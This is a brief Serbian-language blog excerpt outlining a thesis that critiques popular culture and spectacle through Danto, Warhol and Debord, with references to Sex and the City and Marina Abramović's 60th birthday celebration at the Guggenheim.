Moja teza o „teroru” popularne kulture biće zasnovana na teoriji „kraja umetnosti” Artura Dantoa i umetnosti dostupne svima (Vorhol), doctor kao i Deborovom „društvu spektakla”, u vidu kritike savremene pop kulture i/ili spektakla koji prodiru u sve domene umetnosti i naučnih disciplina, popularušiću ih, ali istovremeno  simplifikujući ih i podređujući ih mejn strimu tržišne logike. Donekle, njen idejni tvorac je Endi Vorhol, koji je svojim koketiranjem sa popularnom kulturom i svetom šou biznisa, izmešao koncepte popularne kulture, spektakla i umetnosti. U rodnim studijama svakako je značajna pojava serije Seks i grad, koja je otvorila put ka novoj „seksualizaciji” žene, a čiju kulminaciju je predstavljala proslava 60. rođendana Marine Abramović u Gugenhajm muzeju za 300 zvanica, krajem februara 2007. godine.

Read the rest of this entry »